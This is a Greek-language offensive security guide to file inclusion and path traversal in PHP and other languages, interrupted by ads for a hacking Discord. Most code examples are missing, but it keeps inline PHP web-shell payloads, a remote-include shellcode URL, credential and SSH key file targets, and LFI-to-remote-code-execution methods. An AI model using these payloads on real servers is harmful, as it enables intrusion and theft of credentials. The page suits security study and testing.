File Inclusion/Path traversal
Συμμετέχετε στον Διακομιστή Discord του HackenProof για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εισαγωγή στο Χάκινγκ Ασχοληθείτε με περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες εκκινήσεις ανταμοιβών ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας
Ελάτε στο Discord και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!
Συμπερίληψη Αρχείου
Απομακρυσμένη Συμπερίληψη Αρχείου (RFI): Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στην php αυτό είναι απενεργοποιημένο από προεπιλογή (allow_url_include). Τοπική Συμπερίληψη Αρχείου (LFI): Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που θα φορτωθεί από τον διακομιστή.
Ευπάθειες συναρτήσεις PHP: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap
Τυφλή - Ενδιαφέρουσα - Αρχεία LFI2RCE
Linux
Ανακατεύοντας αρκετές λίστες LFI του *nix και προσθέτοντας περισσότερα μονοπάτια, έχω δημιουργήσει αυτή:
Δοκιμάστε επίσης να αλλάξετε το /
με το \
Δοκιμάστε επίσης να προσθέσετε ../../../../../
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ
Windows
Συγχώνευση διαφορετικών λιστών λέξεων:
Δοκιμάστε επίσης να αλλάξετε το /
με το \
Δοκιμάστε επίσης να αφαιρέσετε το C:/
και να προσθέσετε ../../../../../
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ
OS X
Ελέγξτε τη λίστα LFI του Linux.
Βασική LFI και παρακάμψεις
Όλα τα παραδείγματα είναι για τοπική εισαγωγή αρχείου, αλλά μπορούν να εφαρμοστούν και στην απομακρυσμένη εισαγωγή αρχείου επίσης (σελίδα=http://myserver.com/phpshellcode.txt\.
ακολουθίες διάβασης αφαιρεμένες μη αναδρομικά
Μηδενικό byte (%00)
Αποφύγετε την προσθήκη περισσότερων χαρακτήρων στο τέλος του παρεχόμενου συμβολοσειράς (αποφυγή του: $_GET['param']."php")
Αυτό έχει λυθεί από την PHP 5.4
Κωδικοποίηση
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως διπλό URL κωδικοποίηση (και άλλες):
Από υπάρχουσα φάκελο
Ίσως το back-end ελέγχει τη διαδρομή του φακέλου:
Εξερεύνηση των Καταλόγων του Συστήματος Αρχείων σε Ένα Διακομιστή
Ο σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για την αναγνώριση καταλόγων, όχι μόνο αρχείων, χρησιμοποιώντας συγκεκριμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρουσιάζεται μια λεπτομερής μέθοδος για την επίτευξη αυτού:
Καθορισμός Βάθους Καταλόγου: Καθορίστε το βάθος του τρέχοντος καταλόγου σας επιτυχώς ανακτώντας το αρχείο
/etc/passwd
(ισχύει εάν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την ακόλουθη δομή, υποδεικνύοντας ένα βάθος τριών:
Έρευνα Φακέλων: Προσθέστε το όνομα του υποψιαζόμενου φακέλου (π.χ.,
private
) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο/etc/passwd
. Το επιπλέον επίπεδο φακέλου απαιτεί αύξηση του βάθους κατά ένα:
Ερμηνεία των Αποτελεσμάτων: Η απάντηση του διακομιστή υποδηλώνει εάν ο φάκελος υπάρχει:
Σφάλμα / Καμία Έξοδος: Ο φάκελος
private
πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.Περιεχόμενα του
/etc/passwd
: Η ύπαρξη του φακέλουprivate
επιβεβαιώνεται.
Αναδρομική Εξερεύνηση: Οι ανακαλυφθέντες φάκελοι μπορούν να εξεταστούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Τοπικής Ενσωμάτωσης Αρχείων (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το φορτίο αναλόγως. Για παράδειγμα, για να ελέγξετε εάν ο φάκελος /var/www/
περιέχει έναν φάκελο private
(υποθέτοντας ότι ο τρέχων φάκελος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
Τεχνική Ενσωμάτωσης Διαδρομής
Η ενσωμάτωση διαδρομής είναι μια μέθοδος που χρησιμοποιείται για την τροποποίηση των διαδρομών αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για την πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας συγκεκριμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, και/etc/passwd/
θεωρούνται όλα ως ίδια διαδρομή.Όταν οι τελευταίοι 6 χαρακτήρες είναι
passwd
, η προσθήκη ενός/
(κάνοντάς τοpasswd/
) δεν αλλάζει το στοχευόμενο αρχείο.Επίσης, αν προστεθεί το
.php
σε μια διαδρομή αρχείου (όπωςshellcode.php
), η προσθήκη ενός/.
στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε την ενσωμάτωση διαδρομής για να αποκτήσετε πρόσβαση στο /etc/passwd
, ένα συνηθισμένο στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να ποικίλει ανάλογα με τη διαμόρφωση του διακομιστή.
Χρήση τμημάτων με τελείες και επιπλέον χαρακτήρες: Ακολουθίες διέλευσης (
../
) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για την πλοήγηση στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.Καθορισμός του απαιτούμενου αριθμού διασχίσεων: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό ακολουθιών
../
που απαιτούνται για να πλοηγηθεί στον ριζικό κατάλογο και στη συνέχεια στο/etc/passwd
, εξασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως.php
) αναιρούνται αλλά η επιθυμητή διαδρομή (/etc/passwd
) παραμένει ανέπαφη.Έναρξη με ένα ψεύτικο κατάλογο: Είναι συνηθισμένο να ξεκινά η διαδρομή με ένα μη υπαρκτό κατάλογο (όπως
a/
). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρωθούν οι απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
Κατά τη χρήση τεχνικών διακοπής διαδρομής, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομής του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί μια διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το τεστ για την εύρεση της πιο αποτελεσματικής μεθόδου.
Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.
Κόλπα παράκαμψης φίλτρων
Απομακρυσμένη Συμπερίληψη Αρχείου
Στην php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή το allow_url_include
είναι Off. Πρέπει να είναι On για να λειτουργήσει, και σε αυτήν την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να λάβετε RCE:
Εάν για κάποιο λόγο το allow_url_include
είναι On, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, σύμφωνα με αυτή την ανάρτηση, μπορείτε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο data με το base64 για να αποκωδικοποιήσετε έναν κώδικα PHP b64 και να λάβετε RCE:
Στον προηγούμενο κώδικα, το τελικό +.txt
προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν ένα string που να τελειώνει σε .txt
, έτσι το string τελειώνει με αυτό και μετά την αποκωδικοποίηση b64 αυτό το τμήμα θα επιστρέψει απλώς ανούσια δεδομένα και το πραγματικό κομμάτι κώδικα PHP θα συμπεριληφθεί (και συνεπώς, θα εκτελεστεί).
Ένα άλλο παράδειγμα χωρίς τη χρήση του πρωτοκόλλου php://
θα ήταν:
Ρίζα στοιχείου Python
Στην Python σε έναν κώδικα όπως αυτόν:
Εάν ο χρήστης περάσει ένα απόλυτο μονοπάτι στο file_name
, το προηγούμενο μονοπάτι απλώς αφαιρείται:
Αυτή είναι η επιθυμητή συμπεριφορά σύμφωνα με τα έγγραφα:
Εάν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η συνένωση συνεχίζεται από το απόλυτο στοιχείο της διαδρομής.
Κατάλογοι λίστας Java
Φαίνεται ότι εάν έχετε μια Διαδρομή Εκμετάλλευσης στην Java και ζητήσετε έναν κατάλογο αντί για ένα αρχείο, επιστρέφεται μια λίστα του καταλόγου. Αυτό δεν θα συμβεί σε άλλες γλώσσες (απ' όσο γνωρίζω).
Κορυφαίες 25 παράμετροι
Εδώ είναι η λίστα των 25 κορυφαίων παραμέτρων που θα μπορούσαν να είναι ευάλωτες σε τοπικές ενσωματώσεις αρχείων (LFI) (από το σύνδεσμο):
LFI / RFI χρησιμοποιώντας PHP wrappers & πρωτόκολλα
php://filter
Τα PHP φίλτρα επιτρέπουν βασικές λειτουργίες τροποποίησης των δεδομένων πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Αφαιρεί τις ετικέτες από τα δεδομένα (όλα μεταξύ των χαρακτήρων "<" και ">")Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Μετατρέπει σε διαφορετική κωδικοποίηση (convert.iconv.<input_enc>.<output_enc>
). Για να λάβετε τη λίστα όλων των υποστηριζόμενων κωδικοποιήσεων εκτελέστε στη γραμμή εντολών:iconv -l
Καταχρώντας το φίλτρο μετατροπής convert.iconv.*
μπορείτε να δημιουργήσετε αυθαίρετο κείμενο, το οποίο θα μπορούσε να είναι χρήσιμο για την εγγραφή αυθαίρετου κειμένου ή για τη δημιουργία μιας λειτουργίας όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες ελέγξτε το LFI2RCE μέσω php φίλτρων.
zlib.deflate
: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξαγάγετε πολλές πληροφορίες)zlib.inflate
: Αποσυμπιέζει τα δεδομένα
mcrypt.*
: Αποσυρμένοmdecrypt.*
: Αποσυρμένο
Άλλα Φίλτρα
Εκτελώντας στο php
var_dump(stream_get_filters());
μπορείτε να βρείτε μερικά απροσδόκητα φίλτρα:consumed
dechunk
: αντιστρέφει την κωδικοποίηση HTTP chunkedconvert.*
Το μέρος "php://filter" είναι μη διάκριση πεζών-κεφαλαίων
Χρησιμοποιώντας τα php φίλτρα ως oracle για την ανάγνωση αυθαίρετων αρχείων
Σε αυτήν την ανάρτηση προτείνεται μια τεχνική για την ανάγνωση ενός τοπικού αρχείου χωρίς να λάβετε την έξοδο από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια δυαδική εξυφάνωση του αρχείου (χαρακτήρα προς χαρακτήρα) χρησιμοποιώντας τα php φίλτρα ως oracle. Αυτό συμβαίνει επειδή τα php φίλτρα μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσουν μια εξαίρεση στο php.
Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ υπάρχει μια γρήγορη περίληψη:
Χρησιμοποιήστε τον κωδικοποιητή
UCS-4LE
για να αφήσετε τον πρώτο χαρακτήρα του κειμένου στην αρχή και να αυξήσετε εκθετικά το μέγεθος της συμβολοσειράς.Αυτό θα χρησιμοποιηθεί για να δημιουργήσει ένα τόσο μεγάλο κείμενο όταν μαντευτεί σωστά το αρχικό γράμμα ώστε το php να προκαλέσει ένα σφάλμα
Το φίλτρο dechunk θα αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαδεκαδικός, έτσι μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι εξαδεκαδικός.
Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματίσεις ώστε να μην είναι πλέον εξαδεκαδικός χαρακτήρας. Επειδή αν είναι εξαδεκαδικός, το dechunk δεν θα το διαγράψει και το αρχικό "βόμβα" θα προκαλέσει σφάλμα στο php.
Ο κωδικοποιητής convert.iconv.UNICODE.CP930 μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα
α
για παράδειγμα, επειδή αν εφαρμόσουμε 6 φορές αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ το γράμμα δεν είναι πλέον εξαδεκαδικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα του php προκαλείται επειδή πολλαπλασιάζεται με την αρχική "βόμβα".Χρησιμοποιώντας άλλες μετασχηματίσεις όπως το rot13 στην αρχή είναι δυνατό να διαρρεύσουν άλλοι χαρακτήρες όπως το n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο εύρος των εξαδεκαδικών).
Όταν το αρχικό γράμμα είναι ένας αριθμός, είναι απαραίτητο να τον κωδικοποιήσετε σε base64 και να διαρρεύσετε τα 2 πρώτα γράμματα για να διαρρεύσετε τον αριθμό.
Το τελικό πρόβλημα είναι να δούμε πώς να διαρρεύσουμε περισσότερο από το αρχικό γράμμα. Χρησιμοποιώντας φίλτρα μνήμης τάξης όπως convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE είναι δυνατό να αλλάξετε τη σειρά των χαρακτήρων και να πάρετε στην πρώτη θέση άλλα γράμματα του κειμένου.
Και για να είναι δυνατή η απόκτηση περαιτέρω δεδομένων η ιδέα είναι να δημιουργήσετε 2 bytes αχρήσιμων δεδομένων στην αρχή με το convert.iconv.UTF16.UTF16, να εφαρμόσετε το UCS-4LE για να το κάνετε περιστροφή με τα επόμενα 2 bytes, και να διαγράψετε τα δεδομένα μέχρι τα αχρήσιμα δεδομένα (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
Στην ανάρτηση διέρρευσε επίσης ένα εργαλείο για να εκτελέσετε αυτό αυτόματα: php_filters_chain_oracle_exploit.
php://fd
Αυτό το περιτύλιγμα επιτρέπει την πρόσβαση σε αριθμούς αναγνωριστικών αρχείων που έχει ανοιχτά η διαδικασία. Πιθανώς χρήσιμο για τη διαρροή του περιεχομένου ανοιχτών αρχείων:
Μπορείτε επίσης να χρησιμοποιήσετε τα php://stdin, php://stdout και php://stderr για πρόσβαση στα αρχεία περιγραφέων 0, 1 και 2 αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση).
zip:// και rar://
Μεταφορτώστε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό. Για να μπορέσετε να καταχραστείτε το πρωτόκολλο rar χρειάζεται να ενεργοποιηθεί ειδικά.
data://
Το data://
σας επιτρέπει να διαβάσετε δεδομένα από τον server-side.
Σημείωση ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php allow_url_open
και allow_url_include
expect://
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
input://
Καθορίστε το φορτίο σας στις παραμέτρους POST:
phar://
Ένα αρχείο .phar
μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή εκμεταλλεύεται λειτουργίες όπως το include
για τη φόρτωση αρχείων. Το απόσπασμα κώδικα PHP που παρέχεται παρακάτω δείχνει τη δημιουργία ενός αρχείου .phar
:
Για να συντάξετε το αρχείο .phar
, πρέπει να εκτελέσετε την παρακάτω εντολή:
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με το όνομα test.phar
, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για εκμετάλλευση ευπαθειών Τοπικής Συμπερίληψης Αρχείων (LFI).
Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς εκτέλεση του κώδικα PHP μέσα σε αυτά, μέσω συναρτήσεων όπως file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, ή filesize()
, μπορεί να προσπαθηθεί η εκμετάλλευση μιας ευπαθότητας αποσυσκευοποίησης. Αυτή η ευπαθότητα σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο phar
.
Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυσκευοποίησης στο πλαίσιο αρχείων .phar
, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:
Οδηγός Εκμετάλλευσης Αποσυσκευοποίησης Phar
pagephar:// deserializationΠερισσότερα πρωτόκολλα
Ελέγξτε περισσότερα πιθανά πρωτόκολλα που μπορούν να συμπεριληφθούν εδώ:
php://memory και php://temp — Εγγραφή στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είναι σίγουρο πώς μπορεί να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)
file:// — Πρόσβαση στο τοπικό σύστημα αρχείων
http:// — Πρόσβαση σε διευθύνσεις URL HTTP(s)
ftp:// — Πρόσβαση σε διευθύνσεις URL FTP(s)
zlib:// — Ροές Συμπίεσης
glob:// — Εύρεση ονομάτων αρχείων που ταιριάζουν με ένα πρότυπο (Δεν επιστρέφει κάτι εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
ssh2:// — Ασφαλής Κέλυφος 2
ogg:// — Ροές Ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
LFI μέσω της 'assert' του PHP
Οι κίνδυνοι Τοπικής Συμπερίληψης Αρχείων (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούμαστε με τη λειτουργία 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό εάν ελέγχεται είσοδος που περιέχει χαρακτήρες διάσχισης καταλόγου όπως ".." αλλά δεν αποσυνδέεται σωστά.
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέψει τη διάσχιση καταλόγου ως εξής:
Ενώ αυτό στοχεύει στο να σταματήσει τη διάβαση, αθέλητα δημιουργεί έναν διάνυσμα για ενσωμάτωση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
Επίσης, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος θα μπορούσε να χρησιμοποιήσει:
Είναι σημαντικό να κωδικοποιήσετε τις φορτώσεις αυτές με URL.
Συμμετέχετε στο HackenProof Discord server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εισαγωγή στο Hacking Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας
Συμμετέχετε μαζί μας στο Discord και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
Τυφλή Διάβαση Διαδρομής PHP
Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου ελέγχετε τη διαδρομή αρχείου ενός PHP λειτουργίας που θα έχει πρόσβαση σε ένα αρχείο αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως ένα απλό κάλεσμα στο file()
) αλλά το περιεχόμενο δεν εμφανίζεται.
Σε αυτή την εκπληκτική ανάρτηση εξηγείται πώς μια τυφλή διάβαση διαδρομής μπορεί να καταχραστεί μέσω PHP φίλτρου για εξαγωγή του περιεχομένου ενός αρχείου μέσω ενός oracle σφάλματος.
Ως περίληψη, η τεχνική χρησιμοποιεί την κωδικοποίηση "UCS-4LE" για να κάνει το περιεχόμενο ενός αρχείου τόσο μεγάλο ώστε η PHP λειτουργία που ανοίγει το αρχείο θα ενεργοποιήσει ένα σφάλμα.
Στη συνέχεια, για να διαρρεύσει το πρώτο χαρακτήρα, χρησιμοποιείται το φίλτρο dechunk
μαζί με άλλα όπως base64 ή rot13 και τελικά τα φίλτρα convert.iconv.UCS-4.UCS-4LE και convert.iconv.UTF16.UTF-16BE χρησιμοποιούνται για να τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν.
Λειτουργίες που μπορεί να είναι ευάλωτες: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (μόνο στόχος μόνο για ανάγνωση με αυτό)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Για τεχνικές λεπτομέρειες ελέγξτε την αναφερόμενη ανάρτηση!
LFI2RCE
Απομακρυσμένη Συμπερίληψη Αρχείου
Όπως εξηγήθηκε προηγουμένως, ακολουθήστε αυτόν τον σύνδεσμο.
Μέσω αρχείου καταγραφής Apache/Nginx
Εάν ο διακομιστής Apache ή Nginx είναι ευάλωτος στην LFI μέσα στη λειτουργία συμπερίληψης, μπορείτε να προσπαθήσετε να έχετε πρόσβαση στα /var/log/apache2/access.log
ή /var/log/nginx/access.log
, να ορίσετε μέσα στο user agent ή μέσα σε ένα GET παράμετρο ένα php shell όπως <?php system($_GET['c']); ?>
και να συμπεριλάβετε αυτό το αρχείο
Σημειώστε ότι αν χρησιμοποιήσετε διπλά εισαγωγικά για το shell αντί για απλά εισαγωγικά, τα διπλά εισαγωγικά θα τροποποιηθούν σε "quote;", το PHP θα εκτοξεύσει ένα σφάλμα εκεί και δεν θα εκτελεστεί τίποτα άλλο.
Επίσης, βεβαιωθείτε ότι γράφετε σωστά τη φορτώση αλλιώς το PHP θα εμφανίσει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε μια δεύτερη ευκαιρία.
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής, αλλά προσέξτε, ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι κωδικοποιημένος με URL και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα authorisation "basic" περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτήν την κεφαλίδα. Άλλοι πιθανοί δρόμοι καταγραφής:
Μέσω Email
Στείλτε ένα email σε ένα εσωτερικό λογαριασμό (user@localhost) περιέχοντας το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?>
και προσπαθήστε να το συμπεριλάβετε στο email του χρήστη με έναν δρόμο όπως /var/mail/<USERNAME>
ή /var/spool/mail/<USERNAME>
Μέσω /proc/*/fd/*
Μεταφορτώστε πολλαπλά shells (για παράδειγμα: 100)
Συμπεριλάβετε http://example.com/index.php?page=/proc/$PID/fd/$FD, με $PID = PID της διεργασίας (μπορεί να εξαναγκαστεί) και $FD τον αριθμό περιγραφέα αρχείου (μπορεί να εξαναγκαστεί επίσης)
Μέσω /proc/self/environ
Όπως ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent, θα αντανακλαστεί μέσα στο αρχείο /proc/self/environ
Μέσω μεταφόρτωσης
Εάν μπορείτε να μεταφορτώσετε ένα αρχείο, απλά ενσωματώστε το φορτίο του κέλυφους μέσα σε αυτό (π.χ.: <?php system($_GET['c']); ?>
).
Για να διατηρηθεί το αρχείο ευανάγνωστο, είναι καλύτερο να γίνει ενσωμάτωση στα μεταδεδομένα των εικόνων/εγγράφων/pdf
Μέσω μεταφόρτωσης αρχείου Zip
Μεταφορτώστε ένα αρχείο ZIP που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
Μέσω συνεδριών PHP
Ελέγξτε εάν η ιστοσελίδα χρησιμοποιεί συνεδρίες PHP (PHPSESSID)
Στην PHP αυτές οι συνεδρίες αποθηκεύονται στα αρχεία /var/lib/php5/sess\[PHPSESSID]_
Ορίστε το cookie σε <?php system('cat /etc/passwd');?>
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο συνεδρίας PHP
Μέσω ssh
Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και δοκιμάστε να έχετε πρόσβαση στο <HOME>/.ssh/id_rsa
Μέσω logs vsftpd
Τα logs για τον διακομιστή FTP vsftpd βρίσκονται στο /var/log/vsftpd.log. Στην περίπτωση όπου υπάρχει μια ευπαθής ευκαιρία για Ενσωμάτωση Τοπικού Αρχείου (LFI), και η πρόσβαση σε έναν εκτεθειμένο διακομιστή vsftpd είναι δυνατή, μπορούν να ληφθούν υπόψη τα ακόλουθα βήματα:
Ενσωματώστε ένα PHP payload στο πεδίο ονόματος χρήστη κατά τη διαδικασία σύνδεσης.
Μετά την ενσωμάτωση, χρησιμοποιήστε την LFI για να ανακτήσετε τα logs του διακομιστή από το /var/log/vsftpd.log.
Μέσω php base64 φίλτρου (χρησιμοποιώντας base64)
Όπως φαίνεται σε αυτό άρθρο, το PHP base64 φίλτρο αγνοεί απλά τα μη-Base64. Μπορείτε να χρησιμοποιήσετε αυτό για να παρακάμψετε τον έλεγχο της κατάληξης του αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλά το "." και θα προσθέσει το "php" στο base64. Εδώ υπάρχει ένα παράδειγμα payload:
Μέσω php φίλτρων (χωρίς ανάγκη αρχείου)
Αυτό το writeup εξηγεί ότι μπορείτε να χρησιμοποιήσετε php φίλτρα για τη δημιουργία αυθαίρετου περιεχομένου ως έξοδο. Αυτό σημαίνει ότι μπορείτε να δημιουργήσετε αυθαίρετο κώδικα php για την περιλαμβάνουσα χωρίς την ανάγκη να τον γράψετε σε ένα αρχείο.
pageLFI2RCE via PHP FiltersΜέσω segmentation fault
Μεταφορτώστε ένα αρχείο που θα αποθηκευτεί ως προσωρινό στο /tmp
, στη συνέχεια στο ίδιο αίτημα, προκαλέστε ένα segmentation fault, και τότε το προσωρινό αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.
Μέσω αποθήκευσης temp αρχείων Nginx
Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και το Nginx τρέχει μπροστά από το PHP, μπορείτε να καταφέρετε να αποκτήσετε RCE με την ακόλουθη τεχνική:
pageLFI2RCE via Nginx temp filesΜέσω PHP_SESSION_UPLOAD_PROGRESS
Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων ακόμα κι αν δεν έχετε μια συνεδρία και το session.auto_start
είναι Off
. Αν παρέχετε το PHP_SESSION_UPLOAD_PROGRESS
στα multipart POST δεδομένα, το PHP θα ενεργοποιήσει τη συνεδρία για εσάς. Μπορείτε να εκμεταλλευτείτε αυτό για να πάρετε RCE:
Μέσω μεταφορτώσεων temp αρχείων σε Windows
